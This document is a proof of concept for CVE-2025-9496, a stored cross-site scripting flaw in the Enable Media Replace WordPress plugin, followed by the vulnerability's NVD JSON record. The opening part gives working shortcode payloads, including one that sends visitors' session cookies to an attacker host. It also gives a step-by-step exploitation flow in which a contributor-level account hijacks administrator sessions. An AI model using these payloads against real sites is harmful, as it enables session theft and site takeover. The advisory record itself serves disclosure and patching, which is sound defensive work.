CVE-2025-9496

<!-- CVE-2025-9496 PoC: Stored XSS via file_modified shortcode --> <!-- Attacker needs contributor-level access or above --> <!-- Malicious shortcode injection in a post/page content --> [file_modified id="1" onerror="alert('XSS-'+document.cookie)" title=""><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] <!-- Alternative: inject via shortcode attributes with event handlers --> [file_modified id="1" title="<img src=x onerror=alert(document.domain)>"] <!-- Exploitation flow: 1. Attacker logs in as contributor 2. Creates a new post or edits an existing one 3. Inserts the malicious shortcode in the content 4. Submits the post for review or publishes it 5. When any user (especially admin) views the post, the injected JavaScript executes in their browser 6. Attacker steals session cookies or performs actions on behalf of the victim -->

{"cve": {"id": "CVE-2025-9496", "sourceIdentifier": "[email protected]", "published": "2025-10-11T08:15:32.543", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Enable Media Replace plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's file_modified shortcode in all versions up to, and including, 4.1.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/enable-media-replace/tags/4.1.6/classes/emr-plugin.php#L645", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3371681%40enable-media-replace&new=3371681%40enable-media-replace&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/enable-media-replace/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/07aafbe4-d2ac-4cc3-beb4-37e681ed5285?source=cve", "source": "[email protected]"}]}}